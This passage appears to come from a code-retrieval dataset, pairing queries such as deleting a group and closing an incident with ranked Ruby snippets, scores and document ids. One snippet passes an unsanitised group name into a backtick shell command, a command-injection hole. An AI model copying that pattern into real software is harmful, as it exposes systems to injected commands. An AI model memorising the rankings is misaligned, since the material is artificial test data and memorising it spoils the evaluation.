ApiError.new(\"Couldn't find group #{params[:id]}\", :bad_request)\n end\n\n ActiveRecord::Base.transaction do\n group.assessment_user_data.each do |aud|\n aud.group_id = nil\n aud.membership_status = AssessmentUserDatum::UNCONFIRMED\n aud.save!\n end\n group.destroy!\n end\n respond_with_hash(message: \"Group #{params[:id]} successfully deleted\")\n end", "title": "" }, { "docid": "14db2fa37f4d57aa15cea457d8e2c2cb", "score": "0.64692426", "text": "def delete(group)\n @queue[group.depth].delete(group)\n end", "title": "" }, { "docid": "3ceecbc9ff7eecb70ca74292d5d7c513", "score": "0.64639395", "text": "def remove_from_group\n new_group_owner = group_members.earliest\n if new_group_owner.present?\n new_group_owner.update(group_owner_id: nil)\n group_members.update_all(group_owner_id: new_group_owner.id)\n end\n new_group_owner\n end", "title": "" }, { "docid": "129f8118335894440462952ab67c9e1e", "score": "0.6462726", "text": "def destroy\n @group.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "129f8118335894440462952ab67c9e1e", "score": "0.6462726", "text": "def destroy\n @group.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "7b1343f35a335e6903c0ac5236bece40", "score": "0.6442125", "text": "def delete_group\n super\n end", "title": "" }, { "docid": "fde060179e02fa05f23efd4600f6557d", "score": "0.6430746", "text": "def delete_group(group_name)\n request_hash = { 'GroupName' => group_name }\n link = generate_request(\"DeleteGroup\", request_hash)\n request_info(link, RightHttp2xxParser.new(:logger => @logger))\n end", "title": "" }, { "docid": "4bb5bab441ea5b2cf8a5d279181c2d66", "score": "0.64175373", "text": "def delete_group(group)\n\t\t\t\tgroupname = nil\n\t\t\t\tif(group.respond_to(:groupname))\n\t\t\t\t\tgroupname = group.groupname\n\t\t\t\telse\n\t\t\t\t\tgroupname = group\n\t\t\t\tend\n\n\t\t\t\t`pw groupdel #{groupname}`\n\t\t\tend", "title": "" }, { "docid": "4bb5bab441ea5b2cf8a5d279181c2d66", "score": "0.64175373", "text": "def delete_group(group)\n\t\t\t\tgroupname = nil\n\t\t\t\tif(group.respond_to(:groupname))\n\t\t\t\t\tgroupname = group.groupname\n\t\t\t\telse\n\t\t\t\t\tgroupname = group\n\t\t\t\tend\n\n\t\t\t\t`pw groupdel #{groupname}`\n\t\t\tend", "title": "" }, { "docid": "145cc036856f849c983e4a8479cb28a4", "score": "0.6412826", "text": "def destroy\n @group = TvGroup.find(params[:id])\n @group.destroy\n \n redirect_to :action => :index\n end", "title": "" }, { "docid": "d623ec902ff655ba5f4ce1adeb1d180c", "score": "0.6412412", "text": "def destroy\n \n @group = Group.find(params[:id])\n @game = @group.jigsaw\n \n @group.destroy\n\n redirect_to game_groups_path(@game), notice: 'Grupo eliminado correctamente' \n \n end", "title": "" }, { "docid": "0c088783ddf57434cfe39f25a1f160bc", "score": "0.64123285", "text": "def remove_group(value)\n @children['group'][:value].delete(value)\n end", "title": "" }, { "docid": "0c088783ddf57434cfe39f25a1f160bc", "score": "0.64123285", "text": "def remove_group(value)\n @children['group'][:value].delete(value)\n end", "title": "" }, { "docid": "248ee7b48317b9ddda99c3becd0dca8d", "score": "0.6396732", "text": "def remove(photo,group)\n\t\tgroup = group.nsid if group.class == Flickr::Group\n\t\tphoto = photo.id if photo.class == Flickr::Photo\n\t\t@flickr.call_method('flickr.groups.pools.add',\n\t\t\t'group_id' => group, 'photo_id' => photo)\n\tend", "title": "" }, { "docid": "cfd1dc87072ddf3b05098c920c560316", "score": "0.63934267", "text": "def destroy\n\t\t@attribute_group = AttributeGroup.find(params[:id])\n\t\t@attribute_group.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to attribute_groups_url }\n\t\t\tformat.json\t{ head :ok }\n\t\tend\n\tend", "title": "" }, { "docid": "d10b5894d7a70d314635de280b50659c", "score": "0.63908345", "text": "def destroy\n @group.destroy\n head :no_content\n end", "title": "" }, { "docid": "1d5ca10a1796be325e3f144eb7db43a9", "score": "0.6380686", "text": "def delete_group(group_id)\n request :delete,\n \"/v3/team/groups/#{group_id}.json\"\n end", "title": "" }, { "docid": "89c3a4bb97ceb1a6ac4a4afc44d928b5", "score": "0.63800794", "text": "def destroy\n @group = Group.find(params[:group_id])\n @group.destroy\n redirect_to group_path(params[:course_id])\n end", "title": "" }, { "docid": "8381d9100fe0bfb68f981fb9b1e6c10a", "score": "0.6374269", "text": "def remove_from_group(uid, group_name)\n ops = [[:delete, :memberuid, uid]]\n groupdn = self.find_group(group_name).dn\n @ldap.modify :dn => groupdn, :operations => ops\n end", "title": "" }, { "docid": "553f3990332058162fe5cb7064afe18a", "score": "0.63714457", "text": "def untag_asset_group(id, asset_group_id, opts = {})\n data, _status_code, _headers = untag_asset_group_with_http_info(id, asset_group_id, opts)\n data\n end", "title": "" }, { "docid": "8ee346cb8cd91fd421333276c7fe8d05", "score": "0.6365111", "text": "def destroy\n @group = Group.find_by_slug_or_id(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "3ed7273153ec007b9a490b7c5fcfef7a", "score": "0.6360122", "text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_groups_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "80ffac28ccaf1d19768806d351c07197", "score": "0.6359095", "text": "def delete_group\n\t\treturn if not signed_in_response\n\t\treturn if not get_group\n\t\treturn if not member_of_group\n\n\t\t@group.delete_self\n\t\t@group.destroy\n\t\trespond(SUCCESS)\n\tend", "title": "" }, { "docid": "e062390885e46bba7583f324ffb4979d", "score": "0.63543016", "text": "def destroy\r\n @group = Group.find(params[:id])\r\n\t\r\n\tdeleted_group = @group.name\r\n @group.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to :back, notice: \"#{deleted_group} was deleted.\" }\r\n format.xml { head :ok }\r\n end\r\n end", "title": "" }, { "docid": "9dd32dbe1e2a740d10c9f5cbada440c3", "score": "0.6346713", "text": "def delete\n client.delete_security_group(:group_id => id)\n nil\n end", "title": "" }, { "docid": "9dd32dbe1e2a740d10c9f5cbada440c3", "score": "0.6346713", "text": "def delete\n client.delete_security_group(:group_id => id)\n nil\n end", "title": "" }, { "docid": "9dd32dbe1e2a740d10c9f5cbada440c3", "score": "0.6346713", "text": "def delete\n client.delete_security_group(:group_id => id)\n nil\n end", "title": "" }, { "docid": "6bcedfe965043af5e8a2fb7e281d0626", "score": "0.6346635", "text": "def destroy\n @group = @dataset.groups.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to dataset_groups_url(@owner), flash: {success: t('app.msgs.success_deleted', :obj => t('mongoid.models.group.one'))} }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "47f678bc4b6e7e75f49d94f177bc01dc", "score": "0.63375974", "text": "def destroy\n @group = Group.find(params[:id])\n @group.update_attributes(:deleted => true)\n client = AllPlayers.client\n client.group_delete(@group[:uuid])\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "47f678bc4b6e7e75f49d94f177bc01dc", "score": "0.63375974", "text": "def destroy\n @group = Group.find(params[:id])\n @group.update_attributes(:deleted => true)\n client = AllPlayers.client\n client.group_delete(@group[:uuid])\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b35b579c983dbacbd36b75097a34e267", "score": "0.6336619", "text": "def delete\n asset.destroy\n\n OK\n end", "title": "" }, { "docid": "8d854b63819ecb9fc05894cedcfd5e69", "score": "0.63340193", "text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n flash[:notice] = \"Group '#{@group.name}' deleted.\"\n redirect_to groups_path\n end", "title": "" }, { "docid": "54c66b7838a7b66e67a37fc0cdfa80de", "score": "0.63330746", "text": "def delete_user_group(group_name)\n path = self.api_root + \"/api/groups/#{group_name}\"\n process_firecloud_request(:delete, path)\n end", "title": "" }, { "docid": "500151d69caf4f3bc6f77ace0ca0bd2c", "score": "0.6331597", "text": "def destroy\n @group = Group.find(params[:id])\n @group.delete_group\n flash[:notice] = 'Group was successfully deleted.'\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2293c08eec0e91721466b223813d1862", "score": "0.63287824", "text": "def destroy\n @group.active = !@group.active\n\n group_json = @group.to_h.to_json\n\n url = @httpIp+'/pet.com/api/group/updateGroup'\n uri = URI(url)\n res = Net::HTTP.post(uri, group_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully deleted\"\n redirect_to groups_path\n\n\n end", "title": "" }, { "docid": "2b0d95bde44cfa33717e9d1b2d6440e1", "score": "0.632874", "text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n redirect_to :action => 'index'\n end", "title": "" }, { "docid": "17dcc3453d0a72432af7c34a0ff3e3fa", "score": "0.6327683", "text": "def destroy\n @group = Group.find(params[:group_id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6d21d261a14900e6c7941dfd210c2093", "score": "0.6324797", "text": "def delete_group(list_id, group)\n call(\"listInterestGroupDel\", list_id, group)\n end", "title": "" }, { "docid": "2c26a472cf7ad28e4d841c9727611478", "score": "0.6319309", "text": "def destroy\n @agroup = Agroup.find(params[:id])\n @agroup.destroy\n\n respond_to do |format|\n format.html { redirect_to agroups_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "a964365a0642b12e41b86ad40ee1d31c", "score": "0.631582", "text": "def destroy\n authorize_action_for @group, at: current_store\n track @group\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_groups_path, notice: t('.notice', group: @group) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7eaf6c3e727fd29126506242a35518cc", "score": "0.63123274", "text": "def destroy\n if @group.destroy\n Group.rebuild!\n end\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "54604ef4890ec874cd1448c32734fc1e", "score": "0.63098836", "text": "def remove_watcher_group(group)\n return nil unless group && group.is_a?(Group)\n Watcher.delete_all \"watchable_type = '#{self.class}' AND watchable_id = #{self.id} AND user_id = #{group.id}\"\n end", "title": "" }, { "docid": "14c5f465fe6baa2d0d11e8630294683a", "score": "0.6308684", "text": "def remove_from_my_group\n @group = Group.find(params[:id])\n @user = User.find(params[:user])\n @group.users.delete @user\n\n redirect_to @group\n end", "title": "" }, { "docid": "d7ef0fc82dc1f32057e505207912ef89", "score": "0.629882", "text": "def untag_asset_group_with_http_info(id, asset_group_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TagApi.untag_asset_group ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling TagApi.untag_asset_group\"\n end\n # verify the required parameter 'asset_group_id' is set\n if @api_client.config.client_side_validation && asset_group_id.nil?\n fail ArgumentError, \"Missing the required parameter 'asset_group_id' when calling TagApi.untag_asset_group\"\n end\n # resource path\n local_var_path = '/api/3/tags/{id}/asset_groups/{assetGroupId}'.sub('{' + 'id' + '}', id.to_s).sub('{' + 'assetGroupId' + '}', asset_group_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json;charset=UTF-8'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Links')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TagApi#untag_asset_group\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "54ef3ee63cae5b576c4bba0aeed48337", "score": "0.6295395", "text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f7931e70e9387e8f74d2a6d55fb48e02", "score": "0.62924916", "text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n flash.now[:success] = \"Group was sucessfully deleted.\"\n redirect_to projects_url\n end", "title": "" }, { "docid": "3c1e69f0ce154c7b5eb1125935f145d4", "score": "0.6283162", "text": "def __destroy(v_asset)\n end", "title": "" }, { "docid": "f0d105a1bf11f3597b63a4a322452db3", "score": "0.6275359", "text": "def zz_api_destroy\n return unless require_user && require_owned_group\n\n zz_api do\n @group.destroy\n nil\n end\n end", "title": "" }, { "docid": "3503ea9712b540412c5e195159125798", "score": "0.6266492", "text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n end\n end", "title": "" }, { "docid": "ba2eb692f1f92e8eb2bc26d487651833", "score": "0.6262113", "text": "def destroy\n result = ::Domain::Person::Group::Command::RemoveCommand.call(\n id_param: person_group_params[:id_param],\n )\n\n if result.success?\n redirect_to debug_person_groups_path, notice: 'Group was successfully removed.'\n else\n redirect_to debug_person_groups_path, notice: result.error_message\n end\n end", "title": "" }, { "docid": "2bf918e6acc5f25c168675f2060ed95a", "score": "0.62594557", "text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e874a9908311ec3dea1bb58a9fa26aa5", "score": "0.6257758", "text": "def delete_group_by_name(groupname)\n endpoint = '/groups'\n id = self.get_group_id_by_group_name(groupname)\n url = self.base_url.to_s + endpoint.to_s + \"/\" + id.to_s + self.format.to_s\n self.delete_data(url)\n end", "title": "" }, { "docid": "d85a5e20b150557e9990ed4004446cac", "score": "0.625275", "text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d85a5e20b150557e9990ed4004446cac", "score": "0.625275", "text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end", "title": "" } ]
2afd3360998ab2c98e3ef98b2c4c9640
Close Incident Closes incident with given identifier
[ { "docid": "ed047061bf55a888d4a9adf0b20b74d0", "score": "0.8143233", "text": "def close_incident(identifier, opts = {})\n data, _status_code, _headers = close_incident_with_http_info(identifier, opts)\n data\n end", "title": "" } ]
[ { "docid": "1b202c61257ba5a239dd72812e68d53c", "score": "0.7353245", "text": "def close_incident_with_http_info(identifier, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: IncidentApi.close_incident ...'\n end\n # verify the required parameter 'identifier' is set\n if @api_client.config.client_side_validation && identifier.nil?\n fail ArgumentError, \"Missing the required parameter 'identifier' when calling IncidentApi.close_incident\"\n end\n if @api_client.config.client_side_validation && opts[:'identifier_type'] && !['id', 'tiny'].include?(opts[:'identifier_type'])\n fail ArgumentError, 'invalid value for \"identifier_type\", must be one of id, tiny'\n end\n # resource path\n local_var_path = '/v1/incidents/{identifier}/close'.sub('{' + 'identifier' + '}', identifier.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'identifierType'] = opts[:'identifier_type'] if !opts[:'identifier_type'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n auth_names = ['GenieKey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SuccessResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IncidentApi#close_incident\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a3af9b3d63316ed6566e3d03a1c5a356", "score": "0.71389455", "text": "def closeIncident\n\t\texpire_action :action => :getIncidents\n\t\texpire_action :action => :getIncident\n\t\tif (params[:id].present?) && (Incident.exists?(params[:id]))\n\t\t\tid = params[:id].to_i\n\t\t\t@inc = Incident.find(id)\n\t\t\t@new_params = {\n\t\t\t\t\t\t:title => @inc[:title].to_s,\n\t\t\t\t\t\t:user_id => @inc[:user_id].to_i,\n\t\t\t\t\t\t:category_id => @inc[:category_id].to_i,\n\t\t\t\t\t\t:severity => @inc[:severity].to_i,\n\t\t\t\t\t\t:location => @inc[:location].to_s,\n\t\t\t\t\t\t:description => @inc[:description].to_s,\n\t\t\t\t\t\t:is_closed => true,\n\t\t\t\t\t\t:date_closed => DateTime.now,\n\t\t\t\t\t\t:closing_comment => \"\"\n\t\t\t\t\t}\n\t\t\tif params[:closing_comment].present?\n\t\t\t\t@new_params[:closing_comment] = params[:closing_comment]\n\t\t\tend\n\t\t\tIncident.find(id).update(@new_params)\n\t\t\trespond_to do |format|\n\t\t\t\tformat.json {render :json => Incident.find(id).to_json}\n\t\t\t\tformat.html {render :json => Incident.find(id).to_json}\n\t\t\tend\n\t\telse\n\t\t\trespond_to do |format|\n\t\t\t\tformat.json {render status: 400, json: {\n\t\t\t\t\t \tmessage: \"incident with that id does not exist\",\n\t\t\t\t\t\t\t}.to_json}\n\t\t\t\tformat.html {render status: 400, json: {\n\t\t\t\t\t \tmessage: \"incident with that id does not exist\",\n\t\t\t\t\t\t\t}.to_json}\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "ab91fcb1d83e218fcac6c48282cdd60b", "score": "0.67328894", "text": "def close\n ticket = Ticket.find(params[:id])\n authorize! :close, ticket\n ticket.close\n if ticket.save\n head :ok\n else\n render_errors\n end\n end", "title": "" }, { "docid": "f08b2a56ad7d2eeaa0f8792817d66a6b", "score": "0.65412563", "text": "def close\n Nfc.tech_close(get_name)\n end", "title": "" }, { "docid": "878f406a1acce44660b318c6f23a75b2", "score": "0.6449577", "text": "def close\r\n @incident = Incident.find(params[:id])\r\n @incident.closed = TRUE\r\n @incident.save()\r\n \r\n @ambulances = Ambulance.find(:all, :conditions => \"incident_id = \" + String(@incident.id))\r\n \r\n for @ambulance in @ambulances\r\n @ambulance.incident = nil;\r\n @ambulance.save();\r\n end\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(incidents_url) }\r\n format.xml { head :ok }\r\n end\r\n end", "title": "" }, { "docid": "28a4bcadb54f9dfa61c5fbffdd0fc80d", "score": "0.63579273", "text": "def close_ticket(event)\n ticket = @current_instance.tickets.find(event[:ticket_id])\n ticket.close!\n replace state: :display\n end", "title": "" }, { "docid": "435fd6f1fda8b675413320d140d7e9fc", "score": "0.63315874", "text": "def close\n client.close_issue(repository, number)\n end", "title": "" }, { "docid": "4c69f5ee5e8d1f85da65a917799e5002", "score": "0.62507236", "text": "def close\n ticket.close!\n flash[:notice] = 'The ticket was closed.'\n respond_with(ticket, location: project_ticket_path(ticket.project, ticket))\n end", "title": "" }, { "docid": "7aaa906c8b1da8ac4dcbfa39848fc7d1", "score": "0.62250835", "text": "def close(ticket)\n ticket.update!(status: Ticket::STATUS.closed, closed_at: Time.current)\n end", "title": "" }, { "docid": "ecb1e952335ef81a7d90fdbfaa876e39", "score": "0.61654073", "text": "def cmd_close(*args)\n\t\tif (args.length == 0)\n\t\t\tprint_line(\n\t\t\t\t\"Usage: close channel_id\\n\\n\" +\n\t\t\t\t\"Closes the supplied channel.\")\n\t\t\treturn true\n\t\tend\n\n\t\tcid = args[0].to_i\n\t\tchannel = client.find_channel(cid)\n\n\t\tif (!channel)\n\t\t\tprint_error(\"Invalid channel identifier specified.\")\n\t\t\treturn true\n\t\telse\n\t\t\tchannel.close # Issue #410\n\n\t\t\tprint_status(\"Closed channel #{cid}.\")\n\t\tend\n\tend", "title": "" }, { "docid": "c62212fa489f09b9482d1850325daf5e", "score": "0.61425364", "text": "def cmd_close(*args)\n if args.empty? || args.include?('-h')\n cmd_close_help\n return true\n end\n\n cid = args[0].to_i\n channel = client.find_channel(cid)\n\n unless channel\n print_error('Invalid channel identifier specified.')\n return true\n end\n\n channel._close # Issue #410\n\n print_status(\"Closed channel #{cid}.\")\n end", "title": "" }, { "docid": "0abf49f2f581df63c798143881471bc6", "score": "0.60915405", "text": "def close_asset\n asset_uid = unsafe_params[:id]\n\n if !asset_uid.is_a?(String) || asset_uid.empty?\n fail \"id needs to be a non-empty String\"\n end\n\n AssetService.close(@context, uid: asset_uid)\n\n render json: {}\n end", "title": "" }, { "docid": "cb1855a2b202fa6ad8dd9e63d06d0462", "score": "0.606114", "text": "def do_close(id = nil)\n id ||= options[:'<id>']\n ev = state.event(id)\n ev_file = state.event_file(id)\n\n abort \"No locally stored event matches '#{id}'.\" unless ev\n\n res = wf.close(ev)\n ev_file.unlink if ev_file&.exist? && res.status.code == 200\n res\n end", "title": "" }, { "docid": "c77631ec8bfecb8c0c459e3e63345f41", "score": "0.6045683", "text": "def closePatientDetails\n @patientElement.click\n end", "title": "" }, { "docid": "5e40fab7894206aee6b18b3f773d6151", "score": "0.6009794", "text": "def close(id)\n job = Job.find id\n if ([:CREATED, :ACTIVE, :INACTIVE].include?(job.status.to_sym))\n job = update_job(id, status: :CLOSED, closed_date: DateTime.now)\n JobEvent.create(description: 'Job Closed', status: job.status, job: job)\n return job\n else\n raise TDJobs::InvalidStatus, \"Can't close Job, Job is: \" + job.status\n end\n end", "title": "" }, { "docid": "eca53821c30efa8a2add18f6a9d5728b", "score": "0.60096323", "text": "def close_issue(options = {})\n github_client.close_issue(context.repo, context.issue_id, options)\n end", "title": "" }, { "docid": "40b54b3207c9f960faff4119a173941f", "score": "0.59928805", "text": "def close(event) end", "title": "" }, { "docid": "8d082918ba2ac7f864848c19b4a13b18", "score": "0.59214956", "text": "def close\n if @issue.close\n flash[:notice] = 'Issue Closed'\n redirect_to project_issues_path(@project)\n else\n flash[:notice] = 'Something went wrong. The issue was not closed'\n redirect_to issue_path(@issue)\n end\n end", "title": "" }, { "docid": "90cf44af90d3a2cbad0bd46bb9ed6999", "score": "0.5916293", "text": "def close\n authorize Dreport\n news_param = params[\"news\"]\n dreport = Dreport.find(params[:id])\n dreport.to_close\n dreport.news = news_param\n dreport.save!\n redirect_to technician_team_path\n end", "title": "" }, { "docid": "b413d6ea50774f4481cacb06a5f47634", "score": "0.58765405", "text": "def close\n verify_post_request\n require_parameters :key\n\n result = Internal.issues.closeActionPlan(params[:key])\n render_result(result)\n end", "title": "" }, { "docid": "9a0e30c2c69785b137f622fa24c82a38", "score": "0.5812627", "text": "def resolve_incident(incident_sys_id, incident_state, username, password)\n request_close_body_map = {\n state: incident_state,\n close_notes: 'Resolved by API (Closed/Resolved By Caller)',\n comments: 'Incident for corrective change resolved automatically by Puppet',\n }\n\n debug(\"payload resolve incident:\\n#{request_close_body_map}\\n-----\\n\")\n debug(\"Payload end\\n-----\\n\")\n begin\n url = \"#{SN_URL}/#{incident_sys_id}\"\n debug(\"incident resolve url: #{url}\")\n response = RestClient.put(url.to_s,\n request_close_body_map.to_json, # Encode the entire body as JSON\n authorization: \"Basic #{Base64.strict_encode64(\"#{username}:#{password}\")}\",\n content_type: 'application/json',\n accept: 'application/json',\n timeout: 120)\n rescue RestClient::ExceptionWithResponse => e\n e.response\n end\n\n if response\n debug(\"Incident Close Response: #{response.pretty_inspect}\")\n response.headers.each { |k, v| debug(\"Header: #{k}=#{v}\") }\n response_data = JSON.parse(response)\n debug(\"Response incident close:\\n#{response_data.pretty_inspect}\\n-----\\n\")\n\n elsif e.response\n debug(\"ERROR incident close:\\n#{e.response}\\n-----\\n\")\n else\n debug('No response incident close!')\n end\n end", "title": "" }, { "docid": "6dbe3bb9ff6b7a9c6dc8a7032deeafaf", "score": "0.5793656", "text": "def close\n survey = Survey.find(params[:id]) rescue nil\n survey.update_attributes(status: 'closed')\n redirect_to(closed_survey_admin_index_path)\n end", "title": "" }, { "docid": "b2c194da7f94e96524cc42e0eab10ba0", "score": "0.5775112", "text": "def send_connection_close(id)\n send_packet([3, id].pack('Cn'))\n end", "title": "" }, { "docid": "aedfd8fde0aa30e3e08289bdd7931acf", "score": "0.575706", "text": "def delete_incident_with_http_info(identifier, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: IncidentApi.delete_incident ...'\n end\n # verify the required parameter 'identifier' is set\n if @api_client.config.client_side_validation && identifier.nil?\n fail ArgumentError, \"Missing the required parameter 'identifier' when calling IncidentApi.delete_incident\"\n end\n if @api_client.config.client_side_validation && opts[:'identifier_type'] && !['id', 'tiny'].include?(opts[:'identifier_type'])\n fail ArgumentError, 'invalid value for \"identifier_type\", must be one of id, tiny'\n end\n # resource path\n local_var_path = '/v1/incidents/{identifier}'.sub('{' + 'identifier' + '}', identifier.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'identifierType'] = opts[:'identifier_type'] if !opts[:'identifier_type'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['GenieKey']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SuccessResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IncidentApi#delete_incident\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "0ece04be1a3f1182040fee8caf4d779d", "score": "0.57007176", "text": "def close\n return unless request_exists?\n @github.close_issue source_repo, @current_request.number\n unless request_exists?('open', @current_request.number)\n puts 'Successfully closed request.'\n end\n end", "title": "" }, { "docid": "bdf71d06d84e5ef397e0771bc2ca0764", "score": "0.5695408", "text": "def close()\n do_command(\"close\", [])\n end", "title": "" }, { "docid": "fb1b5cfba2a1d3226b8b09df04c87ff8", "score": "0.5687171", "text": "def close\n return unless request_exists?\n @github.close_issue source_repo, @current_request['number']\n puts 'Successfully closed request.' unless request_exists?('open', @current_request['number'])\n end", "title": "" }, { "docid": "d7d5b48533a465a4f0a659763ab1b18e", "score": "0.5675793", "text": "def destroy\n @incident = Incident.find(params[:id])\n @incident.destroy\n\n respond_to do |format|\n format.html { redirect_to(incidents_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "7c82e3434932432105ceb11606ac8650", "score": "0.56673384", "text": "def close\n\n @status = :closed\n\n self\n end", "title": "" }, { "docid": "cbc046d73a40a1e80814911aff5e10dc", "score": "0.5637621", "text": "def close_file\n id = unsafe_params[:id]\n fail \"id needs to be a non-empty string\" unless id.is_a?(String) && id != \"\"\n\n file = UserFile.where(parent_type: \"User\").find_by_uid!(id)\n token = @context.token\n if file.user_id != @context.user_id\n if file.created_by_challenge_bot? && (@context.user.can_administer_site? || @context.user.is_challenge_admin?)\n token = CHALLENGE_BOT_TOKEN\n else\n fail \"The current user does not have access to the file.\"\n end\n end\n\n if file.state == \"open\"\n DNAnexusAPI.new(token).call(file.dxid, \"close\")\n UserFile.transaction do\n # Must recheck inside the transaction\n file.reload\n if file.state == \"open\"\n file.state = \"closing\"\n file.save!\n end\n end\n end\n\n render json: {}\n end", "title": "" }, { "docid": "477bf03e09839cbae20055b1baf7851f", "score": "0.5621321", "text": "def close\n busterminate(@id_connection)\n end", "title": "" }, { "docid": "5b114b1419bee9e4faac50eb656ceb13", "score": "0.5615772", "text": "def close_issue(owner, repo, number, options={})\n Issues.patch(\"/repos/#{owner}/#{repo}/issues/#{number}\",:headers => @auth, :body => options.to_json) #needs auth\n end", "title": "" }, { "docid": "78825a2756051f4c6c0915b3211252e8", "score": "0.5607985", "text": "def close_entity(entity)\n closable = get_component(entity, :closable) or raise ComponentNotPresent\n closable.closed = true\n end", "title": "" }, { "docid": "a9392f75bfd9e52bc5d9022fe0a49996", "score": "0.5599564", "text": "def close_account\n @status = \"closed\"\n end", "title": "" }, { "docid": "a9392f75bfd9e52bc5d9022fe0a49996", "score": "0.5599564", "text": "def close_account\n @status = \"closed\"\n end", "title": "" }, { "docid": "a9392f75bfd9e52bc5d9022fe0a49996", "score": "0.5599564", "text": "def close_account\n @status = \"closed\"\n end", "title": "" }, { "docid": "c25070370398dd8665630c81a592579d", "score": "0.5593382", "text": "def stmt_close_command(stmt_id)\n synchronize do\n reset\n write [COM_STMT_CLOSE, stmt_id].pack(\"CV\")\n end\n end", "title": "" }, { "docid": "c25070370398dd8665630c81a592579d", "score": "0.5593382", "text": "def stmt_close_command(stmt_id)\n synchronize do\n reset\n write [COM_STMT_CLOSE, stmt_id].pack(\"CV\")\n end\n end", "title": "" }, { "docid": "a8b71747f2be8a7bd35e74cdecc57590", "score": "0.5582869", "text": "def close\r\n command 'close'\r\n end", "title": "" }, { "docid": "1de737ae3cdc973da35ae2d8c30bfa63", "score": "0.5582003", "text": "def close\n @silent_auction = SilentAuction.find(params[:id])\n respond_to do |format|\n if @silent_auction.close\n format.html { redirect_to silent_auction_path, :notice => \"Auction for <b>#{@silent_auction.title}</b> has been closed\".html_safe }\n format.js { render 'close_auction'}\n else\n err_msg = 